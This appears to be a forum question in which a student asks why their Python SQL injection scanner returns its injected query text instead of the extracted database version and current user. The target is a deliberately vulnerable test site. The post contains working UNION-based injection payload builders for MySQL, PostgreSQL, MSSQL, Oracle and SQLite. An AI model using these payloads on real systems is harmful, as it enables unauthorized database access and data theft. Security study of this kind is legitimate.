[Python] SQLi Scanner: How to Properly Extract DB Version and Current User

This is for educational purposes only. The tool is being developed for a college project and internship submission. The target URL is a legal test site: text

I've built a basic SQL Injection scanner that can:

• Crawl URLs with depth
• Detect DBMS via fingerprinting
• Detect injection type (e.g., Union, Boolean)
• Determine column count
• Run custom payloads

Issue: I added functions to extract the DB version and current user, but they're not working as expected. Instead of extracting actual data from the response, it simply returns the injected query.

Example Output (Incorrect): For this URL: http://testphp.vulnweb.com/artists.php?artist=1

[+] Extracted DB Version: (@@version) [+] Extracted Current User: (user())

Expected Output: [+] Extracted DB Version: 5.1.73-0ubuntu0.10.04.1 [+] Extracted Current User: acuart@localhost

Relevant Code Snippet:

def _inject_and_extract(self, query, marker="XDATAX"):
if self.dbms == "Oracle":
if self.columns == 1:
injected = f"' UNION SELECT '{marker}'||({query})||'{marker}' FROM dual -- -"
else:
cols = ["NULL"] * self.columns
mid_index = self.columns // 2
cols[mid_index] = f"'{marker}'||({query})||'{marker}'"
injected = f"' UNION SELECT {', '.join(cols)} FROM dual -- -"

elif self.dbms == "MySQL":
if self.columns == 1:
injected = f"' UNION SELECT CONCAT('{marker}',({query}),'{marker}') -- -"
else:
cols = ["NULL"] * self.columns
mid_index = self.columns // 2
cols[mid_index] = f"CONCAT('{marker}', ({query}), '{marker}')"
injected = f"' UNION SELECT {', '.join(cols)} -- -"

elif self.dbms == "PostgreSQL":
if self.columns == 1:
injected = f"' UNION SELECT '{marker}'||({query})||'{marker}' -- -"
else:
cols = ["NULL"] * self.columns
mid_index = self.columns // 2
cols[mid_index] = f"'{marker}'||({query})||'{marker}'"
injected = f"' UNION SELECT {', '.join(cols)} -- -"

elif self.dbms == "MSSQL":
if self.columns == 1:
injected = f"' UNION SELECT '{marker}'+CAST(({query}) AS VARCHAR(MAX))+'{marker}' -- -"
else:
cols = ["NULL"] * self.columns
mid_index = self.columns // 2
cols[mid_index] = f"'{marker}'+CAST(({query}) AS VARCHAR(MAX))+'{marker}'"
injected = f"' UNION SELECT {', '.join(cols)} -- -"

elif self.dbms == "SQLite":
if self.columns == 1:
injected = f"' UNION SELECT '{marker}'||({query})||'{marker}' -- -"
else:
cols = ["NULL"] * self.columns
mid_index = self.columns // 2
cols[mid_index] = f"'{marker}'||({query})||'{marker}'"
injected = f"' UNION SELECT {', '.join(cols)} -- -"

else:
warn(f"Unsupported DBMS: {self.dbms}")
return None

test_url = apply_payload_to_url(self.url, self.param, injected)
resp = self.client.get(test_url)

if not resp:
return None

pattern = re.escape(marker) + r'(.*?)' + re.escape(marker)
matches = re.findall(pattern, resp.text, re.DOTALL | re.IGNORECASE)

if matches:
extracted = matches[0].strip()
extracted = re.sub(r'^[\s\'",;]+|[\s\'",;]+$', '', extracted)
return extracted if extracted else None

fallback_patterns = [
r'([0-9]+\.[0-9]+\.[0-9]+-[0-9]+)',
r'([0-9]+\.[0-9]+\.[0-9]+)',
r'([a-zA-Z0-9_]+@[%a-zA-Z0-9_.-]+)',
r'([a-zA-Z0-9_\\-]+@[a-zA-Z0-9_.-]+)',
r'([a-zA-Z0-9_]+)',
r'(Microsoft SQL Server [0-9]+)',
r'(PostgreSQL [0-9.]+)',
]

for pattern in fallback_patterns:
matches = re.findall(pattern, resp.text)
if matches:
return max(matches, key=len)

return None

def get_version(self):
version_queries = {
"MySQL": "@@version",
"PostgreSQL": "version()",
"MSSQL": "@@version",
"Oracle": "(SELECT banner FROM v$version WHERE rownum=1)",
"SQLite": "sqlite_version()"
}

query = version_queries.get(self.dbms)
if not query:
return None

result = self._inject_and_extract(query)
if result:
result = re.sub(r'(SELECT|FROM|WHERE|UNION|CONCAT|CAST|VARCHAR|MAX|dual)', '', result, flags=re.IGNORECASE)
result = re.sub(r'[\'"\r\n\t,;]+', '', result)
result = result.strip()
return result

def get_current_user(self):
user_queries = {
"MySQL": "user()",
"PostgreSQL": "current_user",
"MSSQL": "SYSTEM_USER",
"Oracle": "(SELECT user FROM dual)",
"SQLite": "CURRENT_USER"
}

query = user_queries.get(self.dbms)
if not query:
return None

result = self._inject_and_extract(query)
if result:
result = re.sub(r'(SELECT|FROM|WHERE|UNION|CONCAT|CAST|VARCHAR|MAX|dual)', '', result, flags=re.IGNORECASE)
result = re.sub(r'[\'"\r\n\t,;]+', '', result)
result = result.strip()
return result

Continue reading...